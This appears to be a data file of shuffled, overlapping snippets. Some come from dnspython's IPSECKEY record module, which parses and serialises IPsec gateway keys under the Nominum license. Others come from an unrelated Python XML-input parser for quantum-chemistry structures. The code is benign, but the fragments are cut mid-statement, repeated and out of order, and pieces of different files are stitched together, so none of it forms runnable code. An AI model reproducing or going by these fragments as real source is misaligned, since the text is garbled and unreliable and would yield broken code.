"2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type == 3: self.gateway.to_wire(file, None, origin)",
"MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE",
"1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current + 4]) current",
"self.gateway_type, self.algorithm) file.write(header) if self.gateway_type == 0: pass elif self.gateway_type",
"USE OR PERFORMANCE OF THIS SOFTWARE. import cStringIO import struct",
"to_wire(self, file, compress = None, origin = None): header =",
"tok.get_uint8() algorithm = tok.get_uint8() if gateway_type == 3: gateway =",
"self).__init__(rdclass, rdtype) if gateway_type == 0: if gateway != '.'",
"with or without fee is hereby granted, # provided that",
"junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type == 3: pass else:",
"for this key data @type precedence: int @ivar gateway_type: the",
"gateway = None elif gateway_type == 1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET,",
"NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE",
"type: %d' % gateway_type) self.precedence = precedence self.gateway_type = gateway_type",
"# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. # #",
"gateway: the public key @type gateway: None, IPv4 address, IPV6",
"+ 3]) gateway_type = header[1] current += 3 rdlen -=",
"b64.decode('base64_codec') return cls(rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key) from_text",
"current + rdlen].unwrap() return cls(rdclass, rdtype, header[0], gateway_type, header[2], gateway,",
"= None, relativize = True): precedence = tok.get_uint8() gateway_type =",
"# # Permission to use, copy, modify, and distribute this",
"this permission notice # appear in all copies. # #",
"copy, modify, and distribute this software and its # documentation",
"algorithm: the algorithm to use @type algorithm: int @ivar gateway:",
"== 2: # check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET6,",
"ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL",
"# Permission to use, copy, modify, and distribute this software",
"3 rdlen -= 3 if gateway_type == 0: gateway =",
"the gateway type @type gateway_type: int @ivar algorithm: the algorithm",
"the algorithm to use @type algorithm: int @ivar gateway: the",
"address, or domain name @ivar key: the public key @type",
"'.' elif self.gateway_type == 1: gateway = self.gateway elif self.gateway_type",
"self.gateway.to_wire(file, None, origin) else: raise ValueError('invalid gateway type') file.write(self.key) def",
"dns.rdata._base64ify(self.key)) def from_text(cls, rdclass, rdtype, tok, origin = None, relativize",
"self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type == 3: self.gateway.to_wire(file,",
"def from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin = None):",
"# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE",
"== 1: # check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET,",
"precedence self.gateway_type = gateway_type self.algorithm = algorithm self.gateway = gateway",
"that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type ==",
"3 if gateway_type == 0: gateway = None elif gateway_type",
"SOFTWARE IS PROVIDED \"AS IS\" AND NOMINUM DISCLAIMS ALL WARRANTIES",
"ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT",
"copyright notice and this permission notice # appear in all",
"copies. # # THE SOFTWARE IS PROVIDED \"AS IS\" AND",
"else: gateway = tok.get_string() chunks = [] while 1: t",
"WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. import cStringIO",
"compress = None, origin = None): header = struct.pack(\"!BBB\", self.precedence,",
"= header[1] current += 3 rdlen -= 3 if gateway_type",
"class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar precedence: the precedence for this",
"relativize)) else: raise ValueError('invalid gateway type') return '%d %d %d",
"NO EVENT SHALL NOMINUM BE LIABLE FOR # ANY SPECIAL,",
"int @ivar algorithm: the algorithm to use @type algorithm: int",
"name @ivar key: the public key @type key: string @see:",
"3]) gateway_type = header[1] current += 3 rdlen -= 3",
"dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar precedence: the precedence for",
"self.precedence, self.gateway_type, self.algorithm) file.write(header) if self.gateway_type == 0: pass elif",
"any purpose with or without fee is hereby granted, #",
"1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif",
": current + 4]) current += 4 rdlen -= 4",
"3: self.gateway.to_wire(file, None, origin) else: raise ValueError('invalid gateway type') file.write(self.key)",
"cls(rdclass, rdtype, header[0], gateway_type, header[2], gateway, key) from_wire = classmethod(from_wire)",
"OR PERFORMANCE OF THIS SOFTWARE. import cStringIO import struct import",
"gateway_type == 3: pass else: raise SyntaxError('invalid IPSECKEY gateway type:",
"origin=None, relativize=True, **kw): if self.gateway_type == 0: gateway = '.'",
"IS PROVIDED \"AS IS\" AND NOMINUM DISCLAIMS ALL WARRANTIES #",
"gateway = self.gateway elif self.gateway_type == 2: gateway = self.gateway",
"self.algorithm) file.write(header) if self.gateway_type == 0: pass elif self.gateway_type ==",
"PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR",
"<filename>dns/rdtypes/IN/IPSECKEY.py # Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. #",
"gateway) elif gateway_type == 3: pass else: raise SyntaxError('invalid IPSECKEY",
"SyntaxError('invalid IPSECKEY gateway type: %d' % gateway_type) self.precedence = precedence",
"self.gateway elif self.gateway_type == 2: gateway = self.gateway elif self.gateway_type",
"t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value) b64 = ''.join(chunks) key = b64.decode('base64_codec')",
"type') key = wire[current : current + rdlen].unwrap() return cls(rdclass,",
"'gateway', 'key'] def __init__(self, rdclass, rdtype, precedence, gateway_type, algorithm, gateway,",
"== 0: gateway = None elif gateway_type == 1: gateway",
"for gateway type 0') gateway = None elif gateway_type ==",
"algorithm self.gateway = gateway self.key = key def to_text(self, origin=None,",
"rdtype, tok, origin = None, relativize = True): precedence =",
"raise ValueError('invalid gateway type') return '%d %d %d %s %s'",
"self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key)) def from_text(cls, rdclass, rdtype, tok, origin",
"== 3: gateway = tok.get_name().choose_relativity(origin, relativize) else: gateway = tok.get_string()",
"# check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif",
"key): super(IPSECKEY, self).__init__(rdclass, rdtype) if gateway_type == 0: if gateway",
"gateway_type) self.precedence = precedence self.gateway_type = gateway_type self.algorithm = algorithm",
"OF THIS SOFTWARE. import cStringIO import struct import dns.exception import",
"USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF",
"1: # check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway)",
"elif self.gateway_type == 1: gateway = self.gateway elif self.gateway_type ==",
"= precedence self.gateway_type = gateway_type self.algorithm = algorithm self.gateway =",
"precedence = tok.get_uint8() gateway_type = tok.get_uint8() algorithm = tok.get_uint8() if",
"or without fee is hereby granted, # provided that the",
"IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT",
"gateway) elif gateway_type == 2: # check that it's OK",
"rdclass, rdtype, tok, origin = None, relativize = True): precedence",
"IPV6 address, or domain name @ivar key: the public key",
"= tok.get_uint8() if gateway_type == 3: gateway = tok.get_name().choose_relativity(origin, relativize)",
"IN NO EVENT SHALL NOMINUM BE LIABLE FOR # ANY",
"rdlen -= 4 elif gateway_type == 2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6,",
"it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type == 3:",
"import cStringIO import struct import dns.exception import dns.inet import dns.name",
"precedence: the precedence for this key data @type precedence: int",
"junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type == 2: # check",
"# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING",
"CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS",
"CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. import",
"@see: RFC 4025\"\"\" __slots__ = ['precedence', 'gateway_type', 'algorithm', 'gateway', 'key']",
"+= 16 rdlen -= 16 elif gateway_type == 3: (gateway,",
"header = struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm) file.write(header) if self.gateway_type ==",
"SyntaxError('invalid gateway for gateway type 0') gateway = None elif",
"self.gateway = gateway self.key = key def to_text(self, origin=None, relativize=True,",
"INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN",
"__slots__ = ['precedence', 'gateway_type', 'algorithm', 'gateway', 'key'] def __init__(self, rdclass,",
"OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE,",
"dns.exception.SyntaxError chunks.append(t.value) b64 = ''.join(chunks) key = b64.decode('base64_codec') return cls(rdclass,",
"0: gateway = '.' elif self.gateway_type == 1: gateway =",
"None, relativize = True): precedence = tok.get_uint8() gateway_type = tok.get_uint8()",
"= wire[current : current + rdlen].unwrap() return cls(rdclass, rdtype, header[0],",
"t = tok.get().unescape() if t.is_eol_or_eof(): break if not t.is_identifier(): raise",
"RFC 4025\"\"\" __slots__ = ['precedence', 'gateway_type', 'algorithm', 'gateway', 'key'] def",
"gateway != '.' and not gateway is None: raise SyntaxError('invalid",
"== 3: gateway = str(self.gateway.choose_relativity(origin, relativize)) else: raise ValueError('invalid gateway",
"%s' % (self.precedence, self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key)) def from_text(cls, rdclass,",
"gateway: None, IPv4 address, IPV6 address, or domain name @ivar",
"self.key = key def to_text(self, origin=None, relativize=True, **kw): if self.gateway_type",
"self.algorithm = algorithm self.gateway = gateway self.key = key def",
"elif self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type == 3:",
"RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN",
"BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL",
"gateway is None: raise SyntaxError('invalid gateway for gateway type 0')",
"gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current + 4]) current +=",
"# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES",
"AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,",
"gateway_type, algorithm, gateway, key): super(IPSECKEY, self).__init__(rdclass, rdtype) if gateway_type ==",
"4025\"\"\" __slots__ = ['precedence', 'gateway_type', 'algorithm', 'gateway', 'key'] def __init__(self,",
"= self.gateway elif self.gateway_type == 2: gateway = self.gateway elif",
"== 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type == 3: self.gateway.to_wire(file, None,",
"its # documentation for any purpose with or without fee",
"elif gateway_type == 2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current",
"OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN",
"= b64.decode('base64_codec') return cls(rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key)",
"'algorithm', 'gateway', 'key'] def __init__(self, rdclass, rdtype, precedence, gateway_type, algorithm,",
"gateway self.key = key def to_text(self, origin=None, relativize=True, **kw): if",
"PROVIDED \"AS IS\" AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH",
"INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING",
"origin = None, relativize = True): precedence = tok.get_uint8() gateway_type",
"%d %s %s' % (self.precedence, self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key)) def",
"= key def to_text(self, origin=None, relativize=True, **kw): if self.gateway_type ==",
"wire[current : current + 3]) gateway_type = header[1] current +=",
"= dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current + 4]) current += 4",
"-= cused else: raise dns.exception.FormError('invalid IPSECKEY gateway type') key =",
"chunks.append(t.value) b64 = ''.join(chunks) key = b64.decode('base64_codec') return cls(rdclass, rdtype,",
"TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY",
"rdlen, origin = None): if rdlen < 3: raise dns.exception.FormError",
"struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm) file.write(header) if self.gateway_type == 0: pass",
"elif gateway_type == 1: # check that it's OK junk",
"raise SyntaxError('invalid gateway for gateway type 0') gateway = None",
"@ivar algorithm: the algorithm to use @type algorithm: int @ivar",
"software and its # documentation for any purpose with or",
"= tok.get_string() chunks = [] while 1: t = tok.get().unescape()",
"if not t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value) b64 = ''.join(chunks) key",
"% gateway_type) self.precedence = precedence self.gateway_type = gateway_type self.algorithm =",
"notice and this permission notice # appear in all copies.",
"this key data @type precedence: int @ivar gateway_type: the gateway",
"tok.get_uint8() if gateway_type == 3: gateway = tok.get_name().choose_relativity(origin, relativize) else:",
"@type precedence: int @ivar gateway_type: the gateway type @type gateway_type:",
"EVENT SHALL NOMINUM BE LIABLE FOR # ANY SPECIAL, DIRECT,",
"'.' and not gateway is None: raise SyntaxError('invalid gateway for",
"above copyright notice and this permission notice # appear in",
"None): header = struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm) file.write(header) if self.gateway_type",
"IS\" AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD TO",
"gateway = None elif gateway_type == 1: # check that",
"gateway_type == 0: gateway = None elif gateway_type == 1:",
"rdclass, rdtype, wire, current, rdlen, origin = None): if rdlen",
"self.gateway_type == 2: gateway = self.gateway elif self.gateway_type == 3:",
"key) from_text = classmethod(from_text) def to_wire(self, file, compress = None,",
"self.gateway_type == 3: self.gateway.to_wire(file, None, origin) else: raise ValueError('invalid gateway",
"current + 3]) gateway_type = header[1] current += 3 rdlen",
"import dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar precedence: the precedence",
"= tok.get_uint8() gateway_type = tok.get_uint8() algorithm = tok.get_uint8() if gateway_type",
"current) current += cused rdlen -= cused else: raise dns.exception.FormError('invalid",
"3: raise dns.exception.FormError header = struct.unpack('!BBB', wire[current : current +",
"-= 16 elif gateway_type == 3: (gateway, cused) = dns.name.from_wire(wire[:",
"super(IPSECKEY, self).__init__(rdclass, rdtype) if gateway_type == 0: if gateway !=",
"gateway_type == 2: # check that it's OK junk =",
"2: # check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway)",
"= tok.get().unescape() if t.is_eol_or_eof(): break if not t.is_identifier(): raise dns.exception.SyntaxError",
"file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type",
"permission notice # appear in all copies. # # THE",
"header[1] current += 3 rdlen -= 3 if gateway_type ==",
"else: raise ValueError('invalid gateway type') return '%d %d %d %s",
"< 3: raise dns.exception.FormError header = struct.unpack('!BBB', wire[current : current",
"dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type == 2: # check that it's",
"algorithm to use @type algorithm: int @ivar gateway: the public",
"# THE SOFTWARE IS PROVIDED \"AS IS\" AND NOMINUM DISCLAIMS",
"NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR",
"key def to_text(self, origin=None, relativize=True, **kw): if self.gateway_type == 0:",
"rdlen -= 3 if gateway_type == 0: gateway = None",
"# documentation for any purpose with or without fee is",
"SOFTWARE. import cStringIO import struct import dns.exception import dns.inet import",
"[] while 1: t = tok.get().unescape() if t.is_eol_or_eof(): break if",
"key: string @see: RFC 4025\"\"\" __slots__ = ['precedence', 'gateway_type', 'algorithm',",
"def __init__(self, rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key): super(IPSECKEY,",
"record @ivar precedence: the precedence for this key data @type",
"'key'] def __init__(self, rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key):",
"self.precedence = precedence self.gateway_type = gateway_type self.algorithm = algorithm self.gateway",
"rdlen], current) current += cused rdlen -= cused else: raise",
"wire[current : current + 4]) current += 4 rdlen -=",
"@ivar key: the public key @type key: string @see: RFC",
"gateway_type = header[1] current += 3 rdlen -= 3 if",
"algorithm: int @ivar gateway: the public key @type gateway: None,",
"current += 3 rdlen -= 3 if gateway_type == 0:",
"gateway_type == 1: # check that it's OK junk =",
"origin = None): header = struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm) file.write(header)",
"chunks = [] while 1: t = tok.get().unescape() if t.is_eol_or_eof():",
"public key @type key: string @see: RFC 4025\"\"\" __slots__ =",
"return cls(rdclass, rdtype, header[0], gateway_type, header[2], gateway, key) from_wire =",
"FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR",
"int @ivar gateway_type: the gateway type @type gateway_type: int @ivar",
"gateway type') key = wire[current : current + rdlen].unwrap() return",
"key = wire[current : current + rdlen].unwrap() return cls(rdclass, rdtype,",
"key data @type precedence: int @ivar gateway_type: the gateway type",
"2: gateway = self.gateway elif self.gateway_type == 3: gateway =",
"self.gateway elif self.gateway_type == 3: gateway = str(self.gateway.choose_relativity(origin, relativize)) else:",
"to_text(self, origin=None, relativize=True, **kw): if self.gateway_type == 0: gateway =",
"gateway type') return '%d %d %d %s %s' % (self.precedence,",
"key = b64.decode('base64_codec') return cls(rdclass, rdtype, precedence, gateway_type, algorithm, gateway,",
"IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.",
"None elif gateway_type == 1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current :",
"0: pass elif self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type",
"rdtype) if gateway_type == 0: if gateway != '.' and",
"fee is hereby granted, # provided that the above copyright",
"check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type",
"key: the public key @type key: string @see: RFC 4025\"\"\"",
"== 1: gateway = self.gateway elif self.gateway_type == 2: gateway",
"CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF",
"in all copies. # # THE SOFTWARE IS PROVIDED \"AS",
"= None): header = struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm) file.write(header) if",
"None, origin) else: raise ValueError('invalid gateway type') file.write(self.key) def from_wire(cls,",
"if gateway_type == 0: gateway = None elif gateway_type ==",
"granted, # provided that the above copyright notice and this",
"type 0') gateway = None elif gateway_type == 1: #",
"AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS",
"OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM",
"== 2: gateway = self.gateway elif self.gateway_type == 3: gateway",
"= struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm) file.write(header) if self.gateway_type == 0:",
"3: gateway = str(self.gateway.choose_relativity(origin, relativize)) else: raise ValueError('invalid gateway type')",
"origin = None): if rdlen < 3: raise dns.exception.FormError header",
"break if not t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value) b64 = ''.join(chunks)",
"+ 4]) current += 4 rdlen -= 4 elif gateway_type",
"= [] while 1: t = tok.get().unescape() if t.is_eol_or_eof(): break",
"WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER",
"elif gateway_type == 3: (gateway, cused) = dns.name.from_wire(wire[: current +",
"raise dns.exception.SyntaxError chunks.append(t.value) b64 = ''.join(chunks) key = b64.decode('base64_codec') return",
"dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current + 4]) current += 4 rdlen",
"gateway type 0') gateway = None elif gateway_type == 1:",
"Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. # # Permission",
"is hereby granted, # provided that the above copyright notice",
"%d %d %s %s' % (self.precedence, self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key))",
"if gateway_type == 0: if gateway != '.' and not",
"= gateway_type self.algorithm = algorithm self.gateway = gateway self.key =",
"# check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif"
] |
[
"'0.1.0' __all__ = ['MultiStreamSelect', 'hexify'] __author__ = '<NAME> (<EMAIL>)' __name__",
"'hexify'] __author__ = '<NAME> (<EMAIL>)' __name__ = 'multistream' from .multistream",
"= '0.1.0' __all__ = ['MultiStreamSelect', 'hexify'] __author__ = '<NAME> (<EMAIL>)'",
"__author__ = '<NAME> (<EMAIL>)' __name__ = 'multistream' from .multistream import",
"= ['MultiStreamSelect', 'hexify'] __author__ = '<NAME> (<EMAIL>)' __name__ = 'multistream'",
"__name__ = 'multistream' from .multistream import MultiStreamSelect from .utils import",
"__version = '0.1.0' __all__ = ['MultiStreamSelect', 'hexify'] __author__ = '<NAME>",
"= 'multistream' from .multistream import MultiStreamSelect from .utils import hexify",
"'<NAME> (<EMAIL>)' __name__ = 'multistream' from .multistream import MultiStreamSelect from",
"= '<NAME> (<EMAIL>)' __name__ = 'multistream' from .multistream import MultiStreamSelect",
"['MultiStreamSelect', 'hexify'] __author__ = '<NAME> (<EMAIL>)' __name__ = 'multistream' from",
"(<EMAIL>)' __name__ = 'multistream' from .multistream import MultiStreamSelect from .utils",
"__all__ = ['MultiStreamSelect', 'hexify'] __author__ = '<NAME> (<EMAIL>)' __name__ ="
] |
[
"the output folder does not exist, create it if parameter_name",
"and/or sell * * copies of the Software, and to",
"parsing of the input array (could also be a dictionary),",
"(len(xyz_text) == 4): atom_type = get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0]) result[0]",
"id_value != -1: self.parameter_values[parameter_name] = id_value for child in self.children:",
"argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text) else: value = str(value_text)",
"= tag, directory = directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def",
"definition size = int(parameter_definition.attrib['shape']) value = numpy.zeros(size) try: for i,",
"parameter: '{}' is not in the values \".format(parameter_name)+ \\ \"of",
"not None: for extends_root in self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name'])",
"float or type(self_value[i]) == numpy.float64 or type(self_value[i]) == numpy.float32 or",
"parameter definition. \"\"\" value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if value",
"name {} and value {} is smaller than the smallest",
"are of same type if type(self) != type(other): raise InputProgrammingError(\"The",
"XML-element, secondarily from the objects we are extending from and",
"* <NAME>, <NAME>, <NAME> * * * * Permission is",
"numpy.float16: if abs(self_value[i] - other_value[i]) > 1e-10: return False elif",
"the object?\") def parameter_values_are_equal(self, other, parameter_name): \"\"\" Compare the values",
"other_value[i]) > 1e-10: return False elif self_value[i] != other_value[i]: return",
"OR OTHERWISE, ARISING FROM, * * OUT OF OR IN",
"tag.tag == 'structure': child = StructureXML(parent_object = self, definition =",
"not specified. if self.parameter_values[parameter_name] is not None: if argument_key in",
"return None def get_definition_tag(self, tag_name): \"\"\" Retrieve the definition tag",
"del argument_values[argument_key] def add_counters(self, child): \"\"\" Add all the counter",
"= self.parent_object.definition.find(self.definition_tag) if definition is not None: self.definition = definition",
"= 'scf_energetics' definition_tag = 'scf_energetics_input' class ActionXML(InputXML): tag_type = 'action'",
"self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is not None: argument_key =",
"if self is of same type as other \"\"\" return",
"\"\"\" Add all the counter values for the child object",
"scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id)",
"xml-tags of the root-xml tags stored in self.root and self.extends_roots.",
"return True else: if self.parent_object is not None: return self.parent_object.add_counter_value(counter_name)",
"0.0, 0.0] # ignore empty lines if (len(xyz_text) == 1",
"InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots = [] self.extends_directories = [] directory =",
"= str(value_text) else: value = str(value_text) elif argument_type.startswith('bool'): if value_text.lower()",
"value self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod def read_tag_or_attribute_value(root, name): \"\"\" Reads",
"are equal with definition and value \"\"\" for child in",
"'structure_input' atom_types = {'H':1, 'He':2, 'Li':3, 'Be':4, 'B':5, 'C':6, 'N':7,",
"and xyz_text[0] == \"\"): continue elif (len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0]))",
"get the values for both input objects self_value = self.get_parameter_value(parameter_name)",
"= directory) elif tag.tag == 'action': child = ActionXML(parent_object =",
"result def convert_argument_value(self, value_text, parameter_definition): argument_type = parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition):",
"not None and name != \"\": id_value = self.get_tagid_for_name(tagtype, name)",
"definition and value \"\"\" for child in self.children: equal_found =",
"\"\"\" Check if self is of same type as other",
"i, atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then read atoms in",
"check if the path exists if not os.path.exists(directory_path): raise Exception(\"Error:",
"None def get_definition_tag(self, tag_name): \"\"\" Retrieve the definition tag for",
"parse the children from it # and store them to",
"scf_energetics.id) structure_filename = \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if structure file",
"suitable for the Fortran interface. The converted values are stored",
"for child in self.children: if 'global_index_counter' in child.definition.attrib or 'local_index_counter'",
"the string lists need some special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and",
"get_parameter_value(self, parameter_name): \"\"\" Get the value of the parameter from",
"notice and this permission notice shall be included in all*",
"def read_parameter_value(self, parameter_definition): \"\"\" Read the value of the parameter",
"value_text elif 'text_value' in option.attrib and value_text == option.attrib['text_value']: return",
"type(argument_values[argument_key]) == list: temp_array = numpy.array(argument_values[argument_key], order='F').T shape = temp_array.shape",
"self.charge = int(charge.text) else: self.charge = 0 # read coordinates",
"= get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0]) result[0] = float(xyz_text[1]) result[1] =",
"# ignore empty lines if (len(xyz_text) == 1 and xyz_text[0]",
"\"\"\" Check if two InputXML objects are equal with each",
"atribute of 'self'. \"\"\" if directory is not None: complete_path",
"import numpy, ast from .generate_objects import SettingsGenerator from collections import",
"WARRANTIES OF MERCHANTABILITY, * * FITNESS FOR A PARTICULAR PURPOSE",
"None and name != \"\": id_value = self.get_tagid_for_name(tagtype, name) if",
"\"\"\" for parameter_name in self.parameter_values: if not self.parameter_values_are_equal(other, parameter_name): return",
"file, just to # input the default values. for definition_tag",
"'self' if self.root is not None: self._parse_children(self.root, self.directory) # add",
"value[i] = str(arg) else: value[i] = str(arg) if argument_type.startswith('bool'): if",
"value of a tag or attribute with name 'name' in",
"None): result[1] = float(y.text) z = atom.find('z') if (z is",
"If the counter is not found in the local object,",
"converts the values of the parameters to a form suitable",
"if scf energetics file exists, parse it and add as",
"if argument_type.startswith('float'): value[i] = float(arg) if argument_type.startswith('double'): value[i] = float(arg)",
"if (len(xyz_text) == 1 and xyz_text[0] == \"\"): continue elif",
"atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then read atoms in 'atoms'",
"SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is not None: argument_key = \"{}_{}\".format(abbreviation, parameter_name)",
"or \\ argument_type.startswith(\"double\") # try to evaluate the molecular orbitals",
"== 4): atom_type = get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0]) result[0] =",
"'Cl':17, 'Ar':18} def read_input(self): charge = self.root.find('charge') # read relative",
"argument_type.startswith('int'): value = int(value_text) elif argument_type.startswith('float'): value = float(value_text) elif",
"# we are not finding the value if self.get_parameter_value(parameter_name) ==",
"return False return True def __eq__(self, other): \"\"\" Check if",
"found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters']) if not",
"= self.parameter_definitions[parameter_name] for child in self.children: if 'global_index_counter' in child.definition.attrib",
"not exist\".format(self.tag_type, complete_path)) def retrieve(self): \"\"\" Retrieves content to the",
"in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if __name__ == \"__main__\":",
"is not None: if argument_key in argument_values and argument_values[argument_key] is",
"Parse children of root xml-tag 'root' and store them as",
"by one. If the counter is not found in the",
"paremeters and child xml-tags of the root-xml tags stored in",
"'tag_type') and child.tag_type == tagtype and hasattr(child, 'name') and child.name",
"numpy.empty(new_shape, order='F') if len(shape) == 3: new_array[:, :, :shape[2]] =",
"abs(self_value[i] - other_value[i]) > 1e-10: return False elif self_value[i] !=",
"with # name 'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots =",
"in xyz_lines: xyz_text = xyz.strip().split(\" \") xyz_coord = [0.0, 0.0,",
"sys.exit(\"Error: The mandatory attribute 'type' not found in 'atom'-tag\") def",
"\"\"\" value = None if root is not None: tag",
"self.directory = self.parent_object.directory else: self.directory = None if definition is",
"success = self.add_counter_value(child.definition.attrib['global_index_counter']) if not success: print(\"Warning: Adding counter {}",
"1-starting to 0-starting result[key-1] = dictionary[key] except: try: result =",
"other.definition.attrib['name'] def children_are_equal(self, other): \"\"\" Check if children of 'self'",
"one. If the counter is not found in the local",
"join the directory of the file with the input directory",
"'output_folder' and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child in self.children: child.handle_folders()",
